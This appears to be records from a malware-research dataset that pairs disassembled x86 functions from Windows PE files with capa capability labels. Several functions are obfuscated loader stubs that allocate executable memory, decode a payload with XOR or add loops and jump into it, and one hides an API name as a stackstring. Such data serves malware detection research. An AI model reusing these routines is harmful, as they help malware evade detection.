joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407180
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x4071be
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x4071b6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x4071c0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x4071a6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4072a0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x4072b6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x4072d1
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x40a626
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x40a635
pop dword [ebp - 0x30]
mov eax, 0x78da5bd0
sub eax, 0x7899b59b
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x4016d
push 0
mov eax, 0x4d9d3c72
add eax, 0xb2a514ae
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x58c45230
add ecx, 0xa73c0405
mov edx, eax
mov ebx, 0x432e00
add ebx, dword [ebp - 0x30]
mov esi, 0x58ab6bb7
sub esi, 0x14ad6462
xor dword [ebp - 0x28], 0x38ef0fb8
mov edi, dword [ebx]
sub dword [ebp - 0xc], 0x82a576a5
xor edi, esi
add dword [ebp - 0x10], esi
mov dword [edx], edi
mov dword [ebp - 0x24], 0xe7a43277
add edx, 4
add ebx, 0xa929590e
add ebx, 0x56d6a6f6
loop 0x40a68e
add eax, 0x84aaa48c
add eax, 0x7b56a71b
mov ebx, eax
add eax, 0xee8fdfcd
sub eax, 0xee8fdfc8
mov ecx, 0xf6707806
add ecx, 0x9cf87fa
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x412db0
Capabilities:
Encode data using xor

Disassembly:
push edi
mov edi, eax
xor edx, edx
cmp edi, edx
je 0x412e36
mov ecx, dword [edi]
push ebx
push ebp
mov byte [ecx + 0x16], dl
push esi
mov esi, dword [edi + 4]
mov byte [ecx + 0x17], dl
xor eax, eax
cmp esi, edx
mov byte [ecx + 0x18], dl
mov byte [ecx + 0x19], dl
jle 0x412def
movzx ebx, byte [ecx + edx]
mov ebp, eax
shr ebp, 0x18
xor ebx, ebp
shl eax, 8
xor eax, dword [ebx*4 + 0x53ff90]
inc edx
cmp edx, esi
jl 0x412dd3
xor edx, edx
mov esi, dword [edi + 0xc]
cmp esi, edx
jle 0x412e1a
mov edi, dword [edi + 8]
lea esp, [esp]
movzx ebx, byte [edi + edx]
mov ebp, eax
shr ebp, 0x18
xor ebx, ebp
shl eax, 8
xor eax, dword [ebx*4 + 0x53ff90]
inc edx
cmp edx, esi
jl 0x412e00
mov edx, eax
shr edx, 8
mov byte [ecx + 0x16], al
mov byte [ecx + 0x17], dl
mov edx, eax
pop esi
shr edx, 0x10
shr eax, 0x18
pop ebp
mov byte [ecx + 0x18], dl
mov byte [ecx + 0x19], al
pop ebx
pop edi
ret

Function at 0x418120
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
movd mm7, dword [ebp + 8]
punpcklwd mm7, mm7
punpckldq mm7, mm7
movq mm4, mm7
psrlw mm4, 7
paddw mm7, mm4
movd mm6, dword [ebp + 0x2c]
punpckldq mm6, mm6
pand mm6, qword [0x51f6a8]
mov eax, dword [ebp + 0xc]
shl eax, 2
sub dword [ebp + 0x18], eax
sub dword [ebp + 0x20], eax
sub dword [ebp + 0x28], eax
mov esi, dword [ebp + 0x24]
mov edi, dword [ebp + 0x1c]
mov ebx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
shr ecx, 1
or ecx, ecx
je 0x4181e8
movq mm5, qword [esi]
movq mm4, qword [edi]
movq mm3, mm5
movq mm2, mm4
movq mm1, mm3
movq mm0, mm2
psrlw mm1, 8
psrlw mm0, 8
psubw mm1, mm0
pmullw mm1, mm7
psllw mm0, 8
paddw mm1, mm0
pand mm1, qword [0x51f6b8]
pand mm3, qword [0x51f6c0]
pand mm2, qword [0x51f6c0]
psubw mm3, mm2
pmullw mm3, mm7
psrlw mm3, 8
paddw mm3, mm2
pand mm3, qword [0x51f6c0]
por mm3, mm1
pand mm5, qword [0x51f6a8]
pcmpeqd mm5, mm6
pand mm4, mm5
pxor mm5, qword [0x51f6f8]
pand mm3, mm5
por mm4, mm3
movq qword [ebx], mm4
add esi, 8
add edi, 8
add ebx, 8
dec ecx
jne 0x41816c
mov ecx, dword [ebp + 0xc]
test ecx, 1
je 0x418247
movd mm5, dword [esi]
movd mm4, dword [edi]
movq mm3, mm5
movq mm2, mm4
punpcklbw mm3, dword [0x51f698]
punpcklbw mm2, dword [0x51f698]
psubw mm3, mm2
pmullw mm3, mm7
psrlw mm2, 8
paddw mm3, mm2
psrlw mm3, 8
packuswb mm3, mm3
pand mm5, qword [0x51f6a8]
pcmpeqd mm5, mm6
pand mm4, mm5
pxor mm5, qword [0x51f6f8]
pand mm3, mm5
por mm4, mm3
movd dword [ebx], mm4
add esi, 4
add edi, 4
add ebx, 4
add esi, dword [ebp + 0x28]
add edi, dword [ebp + 0x20]
add ebx, dword [ebp + 0x18]
dec edx
jne 0x418163
emms
pop edi
pop esi
pop ebx
pop ebp
ret 0x28
Function at 0x418260
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
movd mm7, dword [ebp + 8]
punpcklwd mm7, mm7
punpckldq mm7, mm7
movq mm4, mm7
psrlw mm4, 7
paddw mm7, mm4
mov eax, dword [ebp + 0x2c]
and eax, 0xffffff
movd mm6, eax
punpckldq mm6, mm6
mov eax, dword [ebp + 0xc]
mov edx, eax
shl eax, 1
add eax, edx
sub dword [ebp + 0x18], eax
sub dword [ebp + 0x20], eax
sub dword [ebp + 0x28], eax
mov esi, dword [ebp + 0x24]
mov edi, dword [ebp + 0x1c]
mov ebx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
shr ecx, 1
or ecx, ecx
je 0x41836e
push ecx
movd mm5, dword [esi]
mov eax, dword [esi + 2]
shr eax, 8
movd mm3, eax
psllq mm3, 0x20
por mm5, mm3
movd mm4, dword [edi]
mov eax, dword [edi + 2]
shr eax, 8
movd mm3, eax
psllq mm3, 0x20
por mm4, mm3
movq mm3, mm5
movq mm2, mm4
psrlw mm3, 8
psrlw mm2, 8
psubw mm3, mm2
pmullw mm3, mm7
psllw mm2, 8
paddw mm3, mm2
pand mm3, qword [0x51f6b8]
movq mm2, mm5
movq mm1, mm4
pand mm2, qword [0x51f6c0]
pand mm1, qword [0x51f6c0]
psubw mm2, mm1
pmullw mm2, mm7
psrlw mm2, 8
paddw mm2, mm1
pand mm2, qword [0x51f6c0]
por mm3, mm2
pand mm5, qword [0x51f6a8]
pand mm3, qword [0x51f6a8]
pcmpeqd mm5, mm6
pand mm4, mm5
pxor mm5, qword [0x51f6f8]
pand mm3, mm5
por mm4, mm3
movd eax, mm4
psrlq mm4, 0x18
mov word [ebx], ax
movd ecx, mm4
shr eax, 0x10
or eax, ecx
mov dword [ebx + 2], eax
pop ecx
add esi, 6
add edi, 6
add ebx, 6
dec ecx
jne 0x4182b3
mov ecx, dword [ebp + 0xc]
test ecx, 1
je 0x418416
xor eax, eax
xor ecx, ecx
mov al, byte [esi + 2]
shl eax, 0x10
mov cx, word [esi]
or eax, ecx
movd mm5, eax
xor eax, eax
xor ecx, ecx
mov al, byte [edi + 2]
shl eax, 0x10
mov cx, word [edi]
or eax, ecx
movd mm4, eax
movq mm3, mm5
movq mm2, mm4
psrlw mm3, 8
psrlw mm2, 8
psubw mm3, mm2
pmullw mm3, mm7
psllw mm2, 8
paddw mm3, mm2
pand mm3, qword [0x51f6b8]
movq mm2, mm5
movq mm1, mm4
pand mm2, qword [0x51f6c0]
pand mm1, qword [0x51f6c0]
psubw mm2, mm1
pmullw mm2, mm7
psrlw mm2, 8
paddw mm2, mm1
pand mm2, qword [0x51f6c0]
por mm3, mm2
pcmpeqd mm5, mm6
pand mm4, mm5
pxor mm5, qword [0x51f6f8]
pand mm3, mm5
por mm4, mm3
movd eax, mm4
mov word [ebx], ax
shr eax, 0x10
mov byte [ebx + 2], al
add esi, 3
add edi, 3
add ebx, 3
add esi, dword [ebp + 0x28]
add edi, dword [ebp + 0x20]
add ebx, dword [ebp + 0x18]
dec edx
jne 0x4182a6
emms
pop edi
pop esi
pop ebx
pop ebp
ret 0x28
Function at 0x41c0f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
movd mm7, dword [ebp + 8]
punpckldq mm7, mm7
pand mm7, qword [0x51f6a8]
mov eax, dword [ebp + 0xc]
shl eax, 2
sub dword [ebp + 0x18], eax
sub dword [ebp + 0x20], eax
mov esi, dword [ebp + 0x1c]
mov edi, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
shr ecx, 1
test ecx, ecx
je 0x41c153
movq mm6, qword [esi]
movq mm5, qword [edi]
movq mm4, mm6
pand mm4, qword [0x51f6a8]
movq mm3, mm7
pcmpeqd mm4, mm3
pand mm5, mm4
pxor mm4, qword [0x51f6f8]
pand mm6, mm4
por mm6, mm5
movq qword [edi], mm6
add esi, 8
add edi, 8
dec ecx
jne 0x41c121
mov ecx, dword [ebp + 0xc]
test ecx, 1
je 0x41c18d
movd mm6, dword [esi]
movd mm5, dword [edi]
movq mm4, mm6
pand mm4, qword [0x51f6a8]
movq mm3, mm7
pcmpeqd mm4, mm3
pand mm5, mm4
pxor mm4, qword [0x51f6f8]
pand mm6, mm4
por mm6, mm5
movd dword [edi], mm6
add esi, 4
add edi, 4
add esi, dword [ebp + 0x20]
add edi, dword [ebp + 0x18]
dec edx
jne 0x41c118
emms
pop edi
pop esi
pop ebp
ret 0x1c

Function at 0x41c1a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
movd mm7, dword [ebp + 8]
punpckldq mm7, mm7
pand mm7, qword [0x51f6a8]
mov eax, dword [ebp + 0xc]
mov edx, eax
shl eax, 1
add eax, edx
sub dword [ebp + 0x18], eax
sub dword [ebp + 0x20], eax
mov esi, dword [ebp + 0x1c]
mov edi, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
shr ecx, 1
or ecx, ecx
je 0x41c250
movd mm6, dword [esi]
xor eax, eax
xor ebx, ebx
mov al, byte [esi + 5]
shl eax, 0x10
mov bx, word [esi + 3]
or eax, ebx
movd mm4, eax
psllq mm4, 0x20
por mm6, mm4
pand mm6, qword [0x51f6a8]
movd mm5, dword [edi]
xor eax, eax
xor ebx, ebx
mov al, byte [edi + 5]
shl eax, 0x10
mov bx, word [edi + 3]
or eax, ebx
movd mm4, eax
psllq mm4, 0x20
por mm5, mm4
pand mm5, qword [0x51f6a8]
movq mm4, mm7
pcmpeqd mm4, mm6
pand mm5, mm4
pxor mm4, qword [0x51f6f8]
pand mm6, mm4
por mm6, mm5
movd dword [edi], mm6
psrlq mm6, 0x20
movd eax, mm6
mov word [edi + 3], ax
shr eax, 0x10
mov byte [edi + 5], al
add esi, 6
add edi, 6
dec ecx
jne 0x41c1d5
mov ecx, dword [ebp + 0xc]
test ecx, 1
je 0x41c2b5
xor eax, eax
xor ebx, ebx
mov al, byte [esi + 2]
shl eax, 0x10
mov bx, word [esi]
or eax, ebx
movd mm6, eax
pand mm6, qword [0x51f6a8]
xor eax, eax
xor ebx, ebx
mov al, byte [edi + 2]
shl eax, 0x10
mov bx, word [edi]
or eax, ebx
movd mm5, eax
pand mm5, qword [0x51f6a8]
movq mm4, mm7
pcmpeqd mm4, mm6
pand mm5, mm4
pxor mm4, qword [0x51f6f8]
pand mm6, mm4
por mm6, mm5
movd eax, mm6
mov word [edi], ax
shr eax, 0x10
mov byte [edi + 2], al
add esi, 3
add edi, 3
add esi, dword [ebp + 0x20]
add edi, dword [ebp + 0x18]
dec edx
jne 0x41c1cc
emms
pop edi
pop esi
pop ebx
pop ebp
ret 0x1c

Function at 0x423250
Capabilities:
Write file on windows

Disassembly:
push 0x22
call fcn.004223a0
mov eax, dword [0x566be0]
mov ecx, dword [0x566bd8]
mov edx, dword [esp + 8]
add eax, ecx
push edx
mov dword [0x55ebc4], eax
call fcn.00422440
add esp, 8
mov dword [esp + 4], str._tenter_n
jmp fcn.00425260
Function at 0x4235b0
Capabilities:
Write file on windows

Disassembly:
push esi
push 1
call fcn.004223a0
movzx esi, word [esp + 0xc]
push esi
call fcn.004223f0
push esi
push str._ttrap_t_d_n
call fcn.00425260
push 1
xor esi, esi
call fcn.00422630
push 0x26
call fcn.004223a0
add esp, 0x18
pop esi
mov dword [esp + 4], str._tret_n_n
jmp fcn.00425260

Function at 0x423760
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x28
push ebx
push ebp
push esi
mov esi, dword [esp + 0x3c]
push edi
mov edi, dword [esp + 0x3c]
lea ecx, [edi*4]
mov eax, dword [ecx + 0x567e48]
sub eax, 2
mov ebx, 0x520068
mov ebp, 0x520064
mov edx, 0x520060
mov dword [esp + 0x10], 0x52005c
mov dword [esp + 0x14], 0x520058
mov dword [esp + 0x18], 0x520054
mov dword [esp + 0x1c], 0x520050
mov dword [esp + 0x20], 0x52004c
mov dword [esp + 0x24], 0x520048
mov dword [esp + 0x28], 0x520044
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebp
mov dword [esp + 0x34], edx
cmp eax, 0x41
ja 0x423856
jmp 0x4237e0
movzx eax, byte [eax + 0x423d44]
jmp dword [eax*4 + 0x423ce0]
push edi
call fcn.00423e10
mov eax, dword [0x55cb44]
mov eax, dword [eax*4 + 0x55cb80]
mov ecx, eax
shl ecx, 4
or ecx, eax
shl ecx, 8
or ecx, 0x38
push ecx
call fcn.004223f0
push 0
call fcn.00422440
mov edx, dword [0x55cb44]
mov eax, dword [edx*4 + 0x55cb80]
push eax
push str._tcmpl_tr_d___0_n
call fcn.00425260
mov ecx, dword [esp + 0x58]
push esi
push ecx
call fcn.00423510
add esp, 0x1c
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret

Function at 0x425260
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x404
mov eax, dword [0x547180]
xor eax, esp
mov dword [esp + 0x400], eax
cmp dword [0x566be8], 0
je 0x4252c7
cmp dword [0x566bd4], 0
mov eax, dword [esp + 0x408]
jne 0x425292
cmp byte [eax], 0x2a
je 0x4252c7
lea ecx, [esp + 0x40c]
push ecx
push eax
lea edx, [esp + 8]
push edx
call dword [0x51f2ec]
mov eax, dword [0x566be8]
push eax
lea ecx, [esp + 4]
push ecx
call dword [0x51f0dc]
push eax
lea edx, [esp + 8]
push 1
push edx
call fcn.004e96cf
add esp, 0x10
mov ecx, dword [esp + 0x400]
xor ecx, esp
call fcn.004e8205
add esp, 0x404
ret

Function at 0x426df0
Capabilities:
Encode data using xor

Disassembly:
mov cl, byte [edx]
xor eax, eax
mov dword [0x576fe0], eax
test cl, cl
je 0x426e1e
push esi
mov edi, edi
lea esi, [eax*8]
sub esi, eax
movsx ecx, cl
mov eax, esi
xor eax, ecx
mov cl, byte [edx + 1]
inc edx
mov dword [0x576fe0], eax
test cl, cl
jne 0x426e00
pop esi
ret

Function at 0x4274a0
Capabilities:
Encode data using xor

Disassembly:
mov dl, byte [ecx]
xor eax, eax
push esi
mov esi, 0x576ff0
mov dword [0x576fe0], eax
mov byte [0x576ff0], dl
test dl, dl
je 0x4274df
lea esp, [esp]
lea edx, [eax*8]
sub edx, eax
mov eax, edx
movsx edx, byte [ecx]
inc ecx
xor eax, edx
mov dl, byte [ecx]
inc esi
mov byte [esi], dl
test dl, dl
jne 0x4274c0
mov dword [0x576fe0], eax
call fcn.00426d20
mov ecx, dword [esp + 8]
mov dword [eax + 4], 0xffffffe5
mov dword [eax + 0xc], ecx
pop esi
ret
Function at 0x431000
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
push esi
call fcn.004df9f0
call fcn.0041e560
push 0xffffffffffffffff
call fcn.00422250
call fcn.0041ec20
push 0
call fcn.004e75b0
add esp, 8
call fcn.004e5550
call fcn.00406b90
call fcn.004e24e0
call fcn.004e0dd0
call fcn.004df700
call fcn.004e2510
call fcn.004733f0
mov esi, 0x577ff8
lea esp, [esp]
mov eax, dword [esi]
test eax, eax
je 0x431065
push eax
call fcn.0046c630
add esp, 4
mov dword [esi], 0
add esi, 4
cmp esi, 0x578018
jl 0x431050
mov eax, dword [0x578574]
test eax, eax
je 0x431092
push eax
mov eax, dword [0x717ce0]
push 0xfffffffffffffffc
push eax
call dword [0x51f2b8]
mov dword [0x578574], 0
cmp dword [0x578570], 0
je 0x4310b0
push 0x57801c
call dword [0x51f0a8]
mov dword [0x578570], 0
cmp byte [0x578038], 0
je 0x431101
lea ecx, [esp + 4]
push ecx
mov dword [esp + 8], 0x578038
mov dword [esp + 0xc], 0x521628
call fcn.0042e1d0
mov esi, eax
add esp, 4
test esi, esi
je 0x4310fa
mov edx, dword [0x578564]
mov eax, dword [0x57813c]
push esi
push 1
push edx
push eax
call fcn.004e96cf
push esi
call fcn.004e8b3a
add esp, 0x14
mov byte [0x578038], 0
mov eax, 1
pop esi
add esp, 8
ret

Function at 0x4313a0
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [0x566bf4], 0
jne 0x43148b
cmp dword [esp + 8], 0
je 0x43148b
push ebx
mov ebx, dword [0x51f0cc]
push esi
push edi
mov edi, dword [0x51f0d0]
mov esi, 0x5788f8
lea ecx, [ecx]
mov eax, dword [esi]
test eax, eax
je 0x4313ea
push 0
push eax
call edi
test eax, eax
jne 0x4313ea
mov eax, dword [esi]
push eax
call ebx
mov dword [esi], 0
add esi, 0x94
cmp esi, 0x579b78
jl 0x4313d0
xor esi, esi
mov eax, 0x5788f8
nop
cmp dword [eax], 0
je 0x43141a
add eax, 0x94
inc esi
cmp eax, 0x579b78
jl 0x431400
pop edi
pop esi
or eax, 0xffffffff
pop ebx
pop ecx
ret
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov eax, esi
imul eax, eax, 0x94
mov dword [ecx], esi
neg edx
mov dword [eax + 0x578908], ecx
lea ecx, [esp + 0xc]
push ecx
sbb edx, edx
and edx, 4
push edx
lea edi, [eax + 0x5788f8]
push edi
push 0x431250
push 0
push 0
mov dword [eax + 0x578988], 0
mov dword [eax + 0x5788fc], 1
mov dword [eax + 0x578900], 0
call fcn.004ec344
add esp, 0x18
mov dword [edi], eax
test eax, eax
je 0x431412
push 0xffffffffffffffff
push eax
call dword [0x51f158]
pop edi
mov eax, esi
pop esi
pop ebx
pop ecx
ret
or eax, 0xffffffff
pop ecx
ret
Function at 0x4e5ff5
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
mov dword [0x7195c0], eax
push eax
mov dword [0x5470ac], 1
call fcn.004e5ad0
add esp, 4
test eax, eax
je 0x4e6018
push 0x7195c0
push 0
push 0x4e5eb0
call fcn.004ec7fa
xor ecx, ecx
add esp, 0xc
cmp eax, 0xffffffff
setne cl
mov dword [0x7194e0], ecx
mov eax, dword [0x7194e0]
ret
xor eax, eax
ret
Function at 0x4042a4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40430a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403b60
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402e64
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x4042f4
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404311
lea eax, [ebp - 0x10]
call fcn.004039f4
ret

Function at 0x406b04
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ecx
push ebx
push edx
xor edx, edx
push 0x406ad4
push dword fs:[edx]
mov dword [0x40c7e0], esp
mov dword [0x40c7e4], ebp
mov dword [0x40c7e8], 0x406ba0
mov dword fs:[edx], esp
mov edi, dword [ebp + 8]
mov ecx, 0x96
xor al, al
repne scasb al, byte es:[edi]
mov ecx, edi
sub ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
cmp word [edx], 0x5a4d
jne 0x406ba0
add edx, dword [edx + 0x3c]
cmp dword [edx], 0x4550
jne 0x406ba0
mov edx, dword [edx + 0x78]
or edx, edx
je 0x406ba0
add edx, dword [ebp + 0xc]
mov ebx, dword [edx + 0x20]
add ebx, dword [ebp + 0xc]
xor eax, eax
mov edi, dword [ebx]
add edi, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
push ecx
repe cmpsb byte [esi], byte es:[edi]
pop ecx
je 0x406b80
add ebx, 4
inc eax
cmp eax, dword [edx + 0x18]
jb 0x406b67
jmp 0x406ba0
shl eax, 1
add eax, dword [edx + 0x24]
add eax, dword [ebp + 0xc]
mov ax, word [eax]
and eax, 0xffff
shl eax, 2
add eax, dword [edx + 0x1c]
add eax, dword [ebp + 0xc]
mov eax, dword [eax]
add eax, dword [ebp + 0xc]
jmp 0x406ba2
xor eax, eax
xor edx, edx
pop dword fs:[edx]
add esp, 4
pop edx
pop ebx
pop ecx
pop edi
pop esi
pop ebp
ret 8

Function at 0x402106
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
push 0x404075
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov dword [ebp - 4], eax
sub esp, 0xe
mov byte [esp], 0x6d
mov byte [esp + 1], 0x63
mov byte [esp + 2], 0x69
mov byte [esp + 3], 0x53
mov byte [esp + 4], 0x65
mov byte [esp + 5], 0x6e
mov byte [esp + 6], 0x64
mov byte [esp + 7], 0x53
mov byte [esp + 8], 0x74
mov byte [esp + 9], 0x72
mov byte [esp + 0xa], 0x69
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xc], 0x67
mov byte [esp + 0xd], 0x41
mov byte [esp + 0xe], 0
lea eax, [esp]
push eax
push dword [ebp - 4]
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [0x4060ec], eax
leave
ret

Function at 0x403576
Capabilities:
Allocate or change rwx memory

Disassembly:
push esi
push 0x40
push ebx
push eax
call dword [sym.imp.kernel32.dll_VirtualProtect]
ret
Function at 0x1003c1c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1003c1cf
pop dword [ebp - 0x28]
mov eax, 0xb2e4633b
add eax, 0x5d1f5e94
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x78b1a5da
add dword [ebp - 0x38], 0xd5a09f71
mov dword [ebp - 0x34], 0xf7005d7d
sub dword [ebp - 0x34], 0xc4cd1138
mov dword [ebp - 0x30], 0xeae76adf
sub dword [ebp - 0x30], 0x9e9b26b1
mov dword [ebp - 0x2c], 0xe0f07ab7
sub dword [ebp - 0x2c], 0xe0f07ab7
lea eax, [ebp - 0x38]
push eax
mov eax, 0x438a7edf
sub eax, 0x33860e17
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x9aacdbbf
add dword [ebp - 0x38], 0xd9c58d97
mov dword [ebp - 0x34], 0xcdc2d7b2
sub dword [ebp - 0x34], 0x8c56763d
mov dword [ebp - 0x30], 0x91b56a0a
sub dword [ebp - 0x30], 0x2e45fd9e
mov dword [ebp - 0x2c], 0x12d349d3
sub dword [ebp - 0x2c], 0x12d349d3
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3f11a
push 0
call eax
mov ecx, 0x3acb
xor edi, edi
add edi, eax
mov esi, 0x2df4f469
sub esi, 0x1deec469
add esi, dword [ebp - 0x28]
mov ebx, 0x90312fe4
xor dword [ebp - 8], 0xc9dadefb
mov edx, dword [esi]
mov dword [ebp - 0x24], 0x338c62f2
add edx, ebx
mov dword [ebp - 0x10], 0xd5c68e6
mov dword [edi], edx
xor dword [ebp - 0x24], 0x45812cfe
add edi, 4
add esi, 0x47e7c2a6
sub esi, 0x47e7c2a2
loop 0x1003c2e2
add eax, 0x52b41c37
sub eax, 0x52b33e38
mov ebx, eax
add eax, 0x2825019f
add eax, 0xd7dafe66
mov ecx, 0xfd6508be
sub ecx, 0xed6508be
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x4090c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x4090cf
pop dword [ebp - 0x44]
mov eax, 0xf885c7a3
add eax, 0x7bac92c
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x241c50c0
add dword [ebp - 0x54], 0x2a35f48b
mov dword [ebp - 0x50], 0xc010b411
sub dword [ebp - 0x50], 0x8ddd67cc
mov dword [ebp - 0x4c], 0xd09543f2
sub dword [ebp - 0x4c], 0x8448ffc4
mov dword [ebp - 0x48], 0x8f67217f
sub dword [ebp - 0x48], 0x8f67217f
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x6d04b7a
add dword [ebp - 0x54], 0x6da21ddc
mov dword [ebp - 0x50], 0x64e07ec4
add dword [ebp - 0x50], 0xdc8be2b1
mov dword [ebp - 0x4c], 0x8f2ed4a3
sub dword [ebp - 0x4c], 0x2bbf6837
mov dword [ebp - 0x48], 0xad88e10a
add dword [ebp - 0x48], 0x52771ef6
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x398a3
push 0
call eax
mov ecx, 0xdfe2c08e
sub ecx, 0xdfe27e05
mov edi, eax
mov ebx, 0x33a99a9d
sub ebx, 0x3367da9d
add ebx, dword [ebp - 0x44]
mov esi, 0xbf8ae511
add esi, 0x988ef19d
add dword [ebp - 0x20], 0xc3bd3f25
mov edx, dword [ebx]
xor dword [ebp - 0x40], edx
add edx, esi
xor dword [ebp - 0xc], ebx
mov dword [edi], edx
add dword [ebp - 0x34], edi
add edi, 0xe1ef5961
add edi, 0x1e10a6a3
add ebx, 0xce06f1ee
sub ebx, 0xce06f1ea
loop 0x4091e7
add eax, 0x5c869023
add eax, 0xa37a6cd4
mov ebx, eax
add eax, 0x4daa9045
add eax, 0xb2556fc0
mov ecx, 0x400000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x410b90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x410bac
mov dword [eax], ecx
jmp 0x410bae
mov eax, ecx
push ecx
push ecx
push esi
push 0x410c20
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret
Function at 0x404e00
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x66d922
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x70d06c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
xor eax, eax
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 7
mov word [edi + 4], ax
mov dword [ebp - 4], eax
mov dword [edi + 0x2c], eax
mov dword [edi + 0x30], 0xf
mov byte [edi + 0x1c], al
mov dword [edi + 0x44], eax
mov dword [edi + 0x48], 0xf
mov byte [edi + 0x34], al
mov dword [edi + 0x5c], eax
mov dword [edi + 0x60], 0xf
mov byte [edi + 0x4c], al
mov dword [edi + 0x74], eax
mov dword [edi + 0x78], 0xf
mov byte [edi + 0x64], al
mov dword [edi + 0x8c], eax
mov dword [edi + 0x90], 0xf
mov byte [edi + 0x7c], al
lea esi, [edi + 0x94]
mov byte [ebp - 4], 5
push 0x40
mov dword [ebp - 0x14], esi
mov dword [esi], eax
mov dword [esi + 4], eax
call fcn.004299b5
add esp, 4
cmp dword [ebp + 8], 0
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
setne al
mov byte [edi], al
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4